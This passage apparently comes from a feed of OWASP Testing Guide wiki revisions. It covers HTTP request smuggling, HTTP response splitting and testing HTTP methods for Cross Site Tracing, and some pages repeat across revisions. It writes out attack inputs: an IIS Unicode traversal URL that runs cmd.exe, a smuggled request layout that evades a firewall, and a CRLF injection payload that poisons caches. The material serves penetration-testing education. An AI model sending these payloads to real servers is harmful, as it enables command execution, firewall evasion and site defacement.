Of course, it is quite easy to spot and filter this attack by the presence of strings like &amp;quot;..&amp;quot; and &amp;quot;cmd.exe&amp;quot; in the URL. However, IIS 5.0 is quite picky about POST requests whose body is up to 48K bytes and truncates all content that is beyond this limit when the Content-Type header is different from application/x-www-form-urlencoded. The pen-tester can leverage this by creating a very large request, structured as follows:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST /target.asp HTTP/1.1        &amp;lt;-- Request #1 &lt;br /&gt;
Host: target&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Length: 49225 &lt;br /&gt;
&amp;lt;CRLF&amp;gt;&lt;br /&gt;
&amp;lt;49152 bytes of garbage&amp;gt; &lt;br /&gt;
POST /target.asp HTTP/1.0        &amp;lt;-- Request #2&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Length: 33&lt;br /&gt;
&amp;lt;CRLF&amp;gt;&lt;br /&gt;
POST /target.asp HTTP/1.0        &amp;lt;-- Request #3&lt;br /&gt;
xxxx: POST /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0   &amp;lt;-- Request #4&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
&amp;lt;CRLF&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What happens here is that the Request #1 is made of 49223 bytes, which includes also the lines of Request #2. Therefore, a firewall (or any other agent beside IIS 5.0) will see Request #1, will fail to see Request #2 (its data will be just part of #1), will see Request #3 and miss Request #4 (because the POST will be just part of the fake header xxxx).&lt;br /&gt;
Now, what happens to IIS 5.0 ? It will stop parsing Request #1 right after the 49152 bytes of garbage (as it will have reached the 48K=49152 bytes limit) and will therefore parse Request #2 as a new, separate request. Request #2 claims that its content is 33 bytes, which includes everything until &amp;quot;xxxx: &amp;quot;, making IIS miss Request #3 (interpreted as part of Request #2) but spot Request #4, as its POST starts right after the 33rd byte or Request #2. It is a bit complicated, but the point is that the attack URL will not be detected by the firewall (it will be interpreted as the body of a previous request) but will be correctly parsed (and executed) by IIS.&lt;br /&gt;
&lt;br /&gt;
While in the aforementioned case the technique exploits a bug of a web server, there are other scenarios in which we can leverage the different ways that different HTTP-enabled devices parse messages that are not 1005 RFC compliant. For instance, the HTTP protocol allows only 1 Content-Length header, but does not specify how to handle a message that has two instances of this header. Some implementations will use the first one while others will prefer the second, cleaning the way for HTTP Smuggling attacks. Another example is the use of the Content-Length header in a GET message.&lt;br /&gt;
&lt;br /&gt;
Note that HTTP Smuggling does *not* exploit any vulnerability in the target web application. Therefore, it might be somewhat tricky, in a pen-test engagement, to convince the client that a countermeasure should be looked for anyway.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
* Amit Klein, &amp;quot;Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics&amp;quot; - http://www.watchfire.com/news/whitepapers.aspx&lt;br /&gt;
* Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: &amp;quot;HTTP Request Smuggling&amp;quot; - http://www.watchfire.com/news/whitepapers.aspx&lt;br /&gt;
* Amit Klein: &amp;quot;HTTP Message Splitting, Smuggling and Other Animals&amp;quot; - http://www.owasp.org/images/1/1a/OWASPAppSecEU2006_HTTPMessageSplittingSmugglingEtc.ppt&lt;br /&gt;
* Amit Klein: &amp;quot;HTTP Request Smuggling - ERRATA (the IIS 48K buffer phenomenon)&amp;quot; - http://www.securityfocus.com/archive/1/411418&lt;br /&gt;
* Amit Klein: “HTTP Response Smuggling” - http://www.securityfocus.com/archive/1/425593&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_HTTP_Methods_(OTG-CONFIG-006)&amp;diff=13974</id>
		<title>Test HTTP Methods (OTG-CONFIG-006)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_HTTP_Methods_(OTG-CONFIG-006)&amp;diff=13974"/>
				<updated>2006-12-05T22:10:13Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this test we check that the web server is not configured to allow potentially dangerous HTTP commands (methods) and that Cross Site Tracing (XST) is not possible&amp;lt;br&amp;gt;&lt;br /&gt;
== Short Description of the Issue (Topic and Explanation) == &lt;br /&gt;
While GET and POST are by far the most common methods that are used to access information provided by a web server, the Hypertext Transfer Protocol (HTTP) allows several other (and somewhat less known) methods. RFC  2616 (which describes HTTP version 1.1 which is the today standard) defines the following eight methods:&lt;br /&gt;
&lt;br /&gt;
* HEAD&lt;br /&gt;
* GET&lt;br /&gt;
* POST&lt;br /&gt;
* PUT&lt;br /&gt;
* DELETE&lt;br /&gt;
* TRACE&lt;br /&gt;
* OPTIONS&lt;br /&gt;
* CONNECT&lt;br /&gt;
&lt;br /&gt;
Some of these methods can potentially pose a security risk for a web application, as they allow an attacker to modify the files stored on the web server and, in some scenarios, steal the credentials of legitimate users. More specifically, the methods that should be disabled are the following:&lt;br /&gt;
&lt;br /&gt;
* PUT: This method allows a client to upload new files on the web server. An attacker can exploit it by uploading malicious files (e.g.: an asp file that executes commands by invoking cmd.exe), or by simply using the victim server as a file repository&lt;br /&gt;
* DELETE: This method allows a client to delete a file on the web server. An attacker can exploit it as a very simple and direct way to deface a web site or to mount a DoS attack&lt;br /&gt;
* CONNECT:  This method could allow a client to use the web server as a proxy&lt;br /&gt;
* TRACE: This method simply echoes back to the client whatever string has been sent to the server, and it is used mainly for debugging purposes. This method, apparently harmless, can be used to mount an attack known as Cross Site Tracing, which has been discovered by Jeremiah Grossman (see links at the bottom of the page)&lt;br /&gt;
&lt;br /&gt;
If an application needs one or more of these methods, it is important to check that their use is properly limited to trusted users and safe conditions.&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Discover the Supported Methods''' &amp;lt;br&amp;gt;&lt;br /&gt;
To perform this test, we need some way to figure out which HTTP methods are supported by the web server we are examining. The OPTIONS HTTP method provides us with the most direct and effective way to do that. RFC 2616 states that “The OPTIONS method represents a request for information about the  communication options available on the request/response chain identified by the Request-URI”. &lt;br /&gt;
&lt;br /&gt;
The testing method is extremely straightforward and we only need to fire up netcat (or telnet):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
icesurfer@nightblade ~ $ nc www.victim.com 80 &lt;br /&gt;
OPTIONS / HTTP/1.1&lt;br /&gt;
Host: www.victim.com&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Server: Microsoft-IIS/5.0&lt;br /&gt;
Date: Tue, 31 Oct 2006 08:00:29 GMT&lt;br /&gt;
Connection: close&lt;br /&gt;
Allow: GET, HEAD, POST, TRACE, OPTIONS&lt;br /&gt;
Content-Length: 0&lt;br /&gt;
&lt;br /&gt;
icesurfer@nightblade ~ $ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
As we can see in the example, OPTIONS provides a list of the methods that are supported by the web server, and in this case we can see, for instance, that TRACE method is enabled. The danger that is posed by this method is illustrated in the following section&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Test XST Potential'''&amp;lt;br&amp;gt;&lt;br /&gt;
Note: in order to understand the logic and the goals of this attack you need to be familiar with [[Cross_site_scripting_AoC | Cross Site Scripting attacks]].&lt;br /&gt;
&lt;br /&gt;
The TRACE method, while apparently harmless, can be successfully leveraged in some scenarios to steal legitimate users' credentials. This attack technique was discovered by Jeremiah Grossman in 2003, in an attempt to bypass the httpOnly tag that Microsoft introduced in Internet Explorer 6 sp1 to protect cookies from being accessed by JavaScript. As a matter of fact, one of the most recurring attack patterns in Cross Site Scripting is to access the document.cookie object and send it to a web server controlled by the attacker so that he/she can hijack the victim's session. Tagging a cookie as httpOnly forbids JavaScript to access it, protecting it from being sent to a third party. However, the TRACE method can be used to bypass this protection and access the cookie even in this scenario.&lt;br /&gt;
&lt;br /&gt;
As mentioned before, TRACE simply returns any string that is sent to the web server. In order to verify its presence (or to double-check the results of the OPTIONS request shown above), we can proceed as shown in the following example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
icesurfer@nightblade ~ $ nc www.victim.com 80&lt;br /&gt;
TRACE / HTTP/1.1&lt;br /&gt;
Host: www.victim.com&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Server: Microsoft-IIS/5.0&lt;br /&gt;
Date: Tue, 31 Oct 2006 08:01:48 GMT&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: message/http&lt;br /&gt;
Content-Length: 39&lt;br /&gt;
&lt;br /&gt;
TRACE / HTTP/1.1&lt;br /&gt;
Host: www.victim.com&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
As we can see, the response body is exactly a copy of our original request, meaning that our target allows this method. Now, where is the danger lurking? If we instruct a browser to issue a TRACE request to the web server, and this browser has a cookie for that domain, the cookie will be automatically included in the request headers, and will therefore echoed back in the resulting response. At that point, the cookie string will be accessible by JavaScript and it will be finally possible to send it to a third party even when the cookie is tagged as httpOnly.&lt;br /&gt;
&lt;br /&gt;
There are multiple ways to make a browser issue a TRACE request, as the XMLHTTP ActiveX control in Internet Explorer and XMLDOM in Mozilla and Netscape. However, for security reasons the browser is allowed to start a connection only to the domain where the hostile script resides. This is a mitigating factor, as the attacker needs to combine the TRACE method with another vulnerability in order to mount the attack. Basically, an attacker as two ways to successfully launch a Cross Site Tracing attack:&lt;br /&gt;
&lt;br /&gt;
* 1.Leveraging another server-side vulnerability: the attacker injects the hostile JavaScript snippet, that contains the TRACE request, in the vulnerable application, as in a normal Cross Site Scripting attack&lt;br /&gt;
* 2.Leveraging a client-side vulnerability: the attacker creates a malicious website that contains the hostile JavaScript snippet and exploits some cross-domain vulnerability of the browser of the victim, in order to make the JavaScript code successfully perform a connection to the site that supports the TRACE method and that originated the cookie that the attacker is trying to steal.&lt;br /&gt;
&lt;br /&gt;
More detailed information, together with code samples, can be found in the original whitepaper written by Jeremiah Grossman.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
The testing in a Gray Box scenario follows the same steps of a Black Box scenario&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* RFC 2616: “Hypertext Transfer Protocol -- HTTP/1.1” &lt;br /&gt;
* RFC 2975: “HTTP State Management Mechanism” &lt;br /&gt;
* Jeremiah Grossman: &amp;quot;Cross Site Tracing (XST)&amp;quot; - http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf&amp;lt;br&amp;gt;&lt;br /&gt;
* Amit Klein: &amp;quot;XS(T) attack variants which can, in some cases, eliminate the need for TRACE&amp;quot; - http://www.securityfocus.com/archive/107/308433&lt;br /&gt;
'''Tools'''&lt;br /&gt;
* NetCat - http://www.vulnwatch.org/netcat&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_HTTP_Methods_(OTG-CONFIG-006)&amp;diff=13973</id>
		<title>Test HTTP Methods (OTG-CONFIG-006)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_HTTP_Methods_(OTG-CONFIG-006)&amp;diff=13973"/>
				<updated>2006-12-05T22:09:35Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this test we check that the web server is not configured to allow potentially dangerous HTTP commands (methods) and that Cross Site Tracing (XST) is not possible&amp;lt;br&amp;gt;&lt;br /&gt;
== Short Description of the Issue (Topic and Explanation) == &lt;br /&gt;
While GET and POST are by far the most common methods that are used to access information provided by a web server, the Hypertext Transfer Protocol (HTTP) allows several other (and somewhat less known) methods. RFC  2616 (which describes HTTP version 1.1 which is the today standard) defines the following eight methods:&lt;br /&gt;
&lt;br /&gt;
* HEAD&lt;br /&gt;
* GET&lt;br /&gt;
* POST&lt;br /&gt;
* PUT&lt;br /&gt;
* DELETE&lt;br /&gt;
* TRACE&lt;br /&gt;
* OPTIONS&lt;br /&gt;
* CONNECT&lt;br /&gt;
&lt;br /&gt;
Some of these methods can potentially pose a security risk for a web application, as they allow an attacker to modify the files stored on the web server and, in some scenarios, steal the credentials of legitimate users. More specifically, the methods that should be disabled are the following:&lt;br /&gt;
&lt;br /&gt;
* PUT: This method allows a client to upload new files on the web server. An attacker can exploit it by uploading malicious files (e.g.: an asp file that executes commands by invoking cmd.exe), or by simply using the victim server as a file repository&lt;br /&gt;
* DELETE: This method allows a client to delete a file on the web server. An attacker can exploit it as a very simple and direct way to deface a web site or to mount a DoS attack&lt;br /&gt;
* CONNECT:  This method could allow a client to use the web server as a proxy&lt;br /&gt;
* TRACE: This method simply echoes back to the client whatever string has been sent to the server, and it is used mainly for debugging purposes. This method, apparently harmless, can be used to mount an attack known as Cross Site Tracing, which has been discovered by Jeremiah Grossman (see links at the bottom of the page)&lt;br /&gt;
&lt;br /&gt;
If an application needs one or more of these methods, it is important to check that their use is properly limited to trusted users and safe conditions.&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Discover the Supported Methods''' &amp;lt;br&amp;gt;&lt;br /&gt;
To perform this test, we need some way to figure out which HTTP methods are supported by the web server we are examining. The OPTIONS HTTP method provides us with the most direct and effective way to do that. RFC 2616 states that “The OPTIONS method represents a request for information about the  communication options available on the request/response chain identified by the Request-URI”. &lt;br /&gt;
&lt;br /&gt;
The testing method is extremely straightforward and we only need to fire up netcat (or telnet):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
icesurfer@nightblade ~ $ nc www.victim.com 80 &lt;br /&gt;
OPTIONS / HTTP/1.1&lt;br /&gt;
Host: www.victim.com&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Server: Microsoft-IIS/5.0&lt;br /&gt;
Date: Tue, 31 Oct 2006 08:00:29 GMT&lt;br /&gt;
Connection: close&lt;br /&gt;
Allow: GET, HEAD, POST, TRACE, OPTIONS&lt;br /&gt;
Content-Length: 0&lt;br /&gt;
&lt;br /&gt;
icesurfer@nightblade ~ $ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
As we can see in the example, OPTIONS provides a list of the methods that are supported by the web server, and in this case we can see, for instance, that TRACE method is enabled. The danger that is posed by this method is illustrated in the following section&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Test XST Potential'''&amp;lt;br&amp;gt;&lt;br /&gt;
Note: in order to understand the logic and the goals of this attack you need to be familiar with [[Cross_site_scripting_AoC | Cross Site Scripting attacks]].&lt;br /&gt;
&lt;br /&gt;
The TRACE method, while apparently harmless, can be successfully leveraged in some scenarios to steal legitimate users' credentials. This attack technique was discovered by Jeremiah Grossman in 2003, in an attempt to bypass the httpOnly tag that Microsoft introduced in Internet Explorer 6 sp1 to protect cookies from being accessed by JavaScript. As a matter of fact, one of the most recurring attack patterns in Cross Site Scripting is to access the document.cookie object and send it to a web server controlled by the attacker so that he/she can hijack the victim's session. Tagging a cookie as httpOnly forbids JavaScript to access it, protecting it from being sent to a third party. However, the TRACE method can be used to bypass this protection and access the cookie even in this scenario.&lt;br /&gt;
&lt;br /&gt;
As mentioned before, TRACE simply returns any string that is sent to the web server. In order to verify its presence (or to double-check the results of the OPTIONS request shown above), we can proceed as shown in the following example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
icesurfer@nightblade ~ $ nc www.victim.com 80&lt;br /&gt;
TRACE / HTTP/1.1&lt;br /&gt;
Host: www.victim.com&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Server: Microsoft-IIS/5.0&lt;br /&gt;
Date: Tue, 31 Oct 2006 08:01:48 GMT&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: message/http&lt;br /&gt;
Content-Length: 39&lt;br /&gt;
&lt;br /&gt;
TRACE / HTTP/1.1&lt;br /&gt;
Host: www.victim.com&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
As we can see, the response body is exactly a copy of our original request, meaning that our target allows this method. Now, where is the danger lurking? If we instruct a browser to issue a TRACE request to the web server, and this browser has a cookie for that domain, the cookie will be automatically included in the request headers, and will therefore echoed back in the resulting response. At that point, the cookie string will be accessible by JavaScript and it will be finally possible to send it to a third party even when the cookie is tagged as httpOnly.&lt;br /&gt;
&lt;br /&gt;
There are multiple ways to make a browser issue a TRACE request, as the XMLHTTP ActiveX control in Internet Explorer and XMLDOM in Mozilla and Netscape. However, for security reasons the browser is allowed to start a connection only to the domain where the hostile script resides. This is a mitigating factor, as the attacker needs to combine the TRACE method with another vulnerability in order to mount the attack. Basically, an attacker as two ways to successfully launch a Cross Site Tracing attack:&lt;br /&gt;
&lt;br /&gt;
* 1.Leveraging another server-side vulnerability: the attacker injects the hostile JavaScript snippet, that contains the TRACE request, in the vulnerable application, as in a normal Cross Site Scripting attack&lt;br /&gt;
* 2.Leveraging a client-side vulnerability: the attacker creates a malicious website that contains the hostile JavaScript snippet and exploits some cross-domain vulnerability of the browser of the victim, in order to make the JavaScript code successfully perform a connection to the site that supports the TRACE method and that originated the cookie that the attacker is trying to steal.&lt;br /&gt;
&lt;br /&gt;
More detailed information, together with code samples, can be found in the original whitepaper written by Jeremiah Grossman.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
The testing in a Gray Box scenario follows the same steps of a Black Box scenario&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* RFC 2616: “Hypertext Transfer Protocol -- HTTP/1.1” &lt;br /&gt;
* RFC 2975: “HTTP State Management Mechanism” &lt;br /&gt;
* Jeremiah Grossman: &amp;quot;Cross Site Tracing (XST)&amp;quot; - http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* Amit Klein: &amp;quot;XS(T) attack variants which can, in some cases, eliminate the need for TRACE&amp;quot; - http://www.securityfocus.com/archive/107/308433&lt;br /&gt;
'''Tools'''&lt;br /&gt;
* NetCat - http://www.vulnwatch.org/netcat&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)&amp;diff=13958</id>
		<title>Testing for HTTP Splitting/Smuggling (OTG-INPVAL-016)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)&amp;diff=13958"/>
				<updated>2006-12-04T23:25:26Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: /* HTTP Smuggling */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this chapter we will illustrate examples of attacks that leverage specific features of the HTTP protocol, either by exploiting weaknesses of the web application or peculiarities in the way different agents interpret HTTP messages&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
We will analyze two different attacks that target specific HTTP headers: HTTP splitting and HTTP smuggling. The first attack exploits a lack of input sanitization which allows an intruder to insert CR and LF characters into the headers of the application response and to 'split' that answer into two different HTTP messages. The goal of the attack can vary from a cache poisoning to cross site scripting. In the second attack, the attacker exploits the fact that some specially crafted HTTP messaged can be parsed and interpreted in different ways depending on the agent that receives them. HTTP smuggling requires some level of knowledge about the different agents that are handling the HTTP messages (web server, proxy, firewall) and therefore will be included only in the Gray Box testing section&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and Examples ==&lt;br /&gt;
===HTTP Splitting===&lt;br /&gt;
Some web applications use part of the user input to generate the values of some headers of their responses. The most straightforward example is provided by redirections in which the target URL depends on some user submitted value. Let's say for instance that the user is asked to choose whether he/she prefers a standard or advanced web interface. Such choice will be passed as a parameter that will be used in the response header to trigger the redirection to the corrisponding page. More specifically, if the parameter 'interface' has the value 'advanced', the application will answer with the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 302 Moved Temporarily&lt;br /&gt;
Date: Sun, 03 Dec 2005 16:22:19 GMT&lt;br /&gt;
Location: http://victim.com/main.jsp?interface=advanced&lt;br /&gt;
&amp;lt;snip&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
When receiving this message, the browser will bring the user to the page indicated in the Location header. However, if the application does not filter the user input, it will be possible to insert in the 'interface' parameter the sequence %0d%0a, which represent the CRLF sequence that is used to separate different lines. At this point, we will be able to trigger a response that will be interpreted as two different responses by anybody who happens to parse it, for instance a web cache sitting between us and the application. This can be leveraged by an attacker to poison this web cache so that it will provide false content in all subsequent requests. Let's say that in our previous example the pen-tester passes the following data as the interface parameter:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
advanced%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-&lt;br /&gt;
Type:%20text/html%0d%0aContent-Length:%2035%0d%0a%0d%0a&amp;lt;html&amp;gt;Sorry,%20System%20Down&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The resulting answer from the vulnerable application will therefore be the&lt;br /&gt;
following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 302 Moved Temporarily&lt;br /&gt;
Date: Sun, 03 Dec 2005 16:22:19 GMT&lt;br /&gt;
Location: http://victim.com/main.jsp?interface=advanced&lt;br /&gt;
Content-Length: 0&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
Content-Length: 35&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html&amp;gt;Sorry,%20System%20Down&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;other data&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The web cache will see two different responses, so if the attacker sends, immediately after the first request. a&lt;br /&gt;
second one asking for /index.html, the web cache will match this request with the second response and cache its content, so that all subsequent requests directed to victim.com/index.html passing through that web cache&lt;br /&gt;
will receive the &amp;quot;system down&amp;quot; message. In this way, an attacker would be able to effectively deface the site for all users using that web cache (the whole Internet, if the web cache is a reverse proxy for the web application). Alternatively, the attacker could pass to those users a JavaScript snippet that would steal their cookies, mounting a Cross Site Scripting attack. Note that while the vulnerability is in the application, the target here are its users.&lt;br /&gt;
&lt;br /&gt;
Therefore, in order to look for this vulnerability, the tester needs to identify all user controlled input that influences one or more headers in the response, and check whether he/she can successfully inject a CR+LF sequence in it. The headers that are the most likely candidates for this attack are:&lt;br /&gt;
&lt;br /&gt;
* Location&lt;br /&gt;
* Set-Cookie&lt;br /&gt;
&lt;br /&gt;
It must be noted that a successful exploitation of this vulnerability in a real world scenario can be quite complex, as several factors must be taken into account:&lt;br /&gt;
&lt;br /&gt;
# The pen-tester must properly set the headers in the fake response for it to be successfully cached (e.g.: a Last-Modified header with a date set in the future). He/she might also have to destroy previously cached versions of the target pagers, by issuing a preliminary request with &amp;quot;Pragma: no-cache&amp;quot; in the request headers&lt;br /&gt;
# The application, while not filtering the CR+LF sequence, might filter other characters that are needed for a successful attack (e.g.: &amp;quot;&amp;lt;&amp;quot; and &amp;quot;&amp;gt;&amp;quot;). In this case, the tester can try to use other encodings (e.g.: UTF-7)&lt;br /&gt;
# Some targets (e.g.: ASP) will URL-encode the path (e.g.: www.victim.com/redirect.asp) part of the Location header, making a CRLF sequence useless. However, they fail to encode the query section (e.g.: ?interface=advanced), meaning that a leading question mark is enough to bypass this problem&lt;br /&gt;
&lt;br /&gt;
For a more detailed discussion about this attack and other information about possible scenarios and applications, check the corresponding paper referenced at the bottom of this page&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
===HTTP Splitting===&lt;br /&gt;
A successful exploitation of HTTP Splitting is greatly helped by knowing some details of the web application and of the attack target.&lt;br /&gt;
For instance, different targets can use different methods to decide when the first HTTP message ends and when the second starts. Some will use the message boundaries, as in the previous example. Other targets will assume that different messages will be carried by different packets. Others will allocate for each message a number of chunks of predetermined length: in this case, the second message will have to start exactly at the beginning of a chunk and this will require the tester to use padding between the two messages. This might cause some trouble when the vulnerable parameter is to be sent in the URL, as a very long URL is likely to be truncated or filtered. A gray box scenario can help the attacker to find a workaround: several application servers, for instance, will allow the request to be sent using POST instead of GET. &lt;br /&gt;
 &lt;br /&gt;
===HTTP Smuggling===&lt;br /&gt;
As mentioned in the introduction, HTTP Smuggling leverages the different ways that a particularly crafted HTTP message can be parsed and interpreted by different agents (browsers, web caches, application firewalls). This relatively new kind of attack was first discovered by Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin in 2005. There are several possible applications and we will analyze one of the most spectacular: the bypass of an application firewall. Refer to the original whitepaper (linked at the bottom of this page) for more detailed information and other scenarios.&lt;br /&gt;
&lt;br /&gt;
'''Application Firewall Bypass'''&lt;br /&gt;
&lt;br /&gt;
There are several products that enable a system administration to detect and block a hostile web request depending on some known malicious pattern that is embedded in the request. One very old example is the infamous Unicode directory traversal attack against IIS server (http://www.securityfocus.com/bid/1806), in which an attacker could break out the www root by issuing a request like:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+&amp;lt;command_to_execute&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
Of course, it is quite easy to spot and filter this attack by the presence of strings like &amp;quot;..&amp;quot; and &amp;quot;cmd.exe&amp;quot; in the URL. However, IIS 5.0 appears to be able to handle a POST request whose body is up to 48K bytes, truncating all content that is beyond this limit. The pen-tester can leverage this by creating a very large request, structured as follows:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST /target.asp HTTP/1.1        &amp;lt;-- Request #1 &lt;br /&gt;
Host: target&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Length: 49225 &lt;br /&gt;
&amp;lt;CRLF&amp;gt;&lt;br /&gt;
&amp;lt;49152 bytes of garbage&amp;gt; &lt;br /&gt;
POST /target.asp HTTP/1.0        &amp;lt;-- Request #2&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Length: 33&lt;br /&gt;
&amp;lt;CRLF&amp;gt;&lt;br /&gt;
POST /target.asp HTTP/1.0        &amp;lt;-- Request #3&lt;br /&gt;
xxxx: POST /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0   &amp;lt;-- Request #4&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
&amp;lt;CRLF&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What happens here is that the Request #1 is made of 49223 bytes, which includes also the lines of Request #2. Therefore, a firewall (or any other agent beside IIS 5.0) will see Request #1, will fail to see Request #2 (its data will be just part of #1), will see Request #3 and miss Request #4 (because the POST will be just part of the fake header xxxx).&lt;br /&gt;
Now, what happens to IIS 5.0 ? It will stop parsing Request #1 right after the 49152 bytes of garbage (as it will have reached the 48K=49152 bytes limit) and will therefore parse Request #2 as a new, separate request. Request #2 claims that its content is 33 bytes, which includes everything until &amp;quot;xxxx: &amp;quot;, making IIS miss Request #3 (interpreted as part of Request #2) but spot Request #4, as its POST starts right after the 33rd byte or Request #2. It is a bit complicated, but the point is that the attack URL will not be detected by the firewall (it will be interpreted as the body of a previous request) but will be correctly parsed (and executed) by IIS.&lt;br /&gt;
&lt;br /&gt;
Note that HTTP Smuggling does *not* exploit any vulnerability in the target web application. Therefore, it might be somewhat tricky, in a pen-test engagement, to convince the client that a countermeasure should be looked for anyway.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
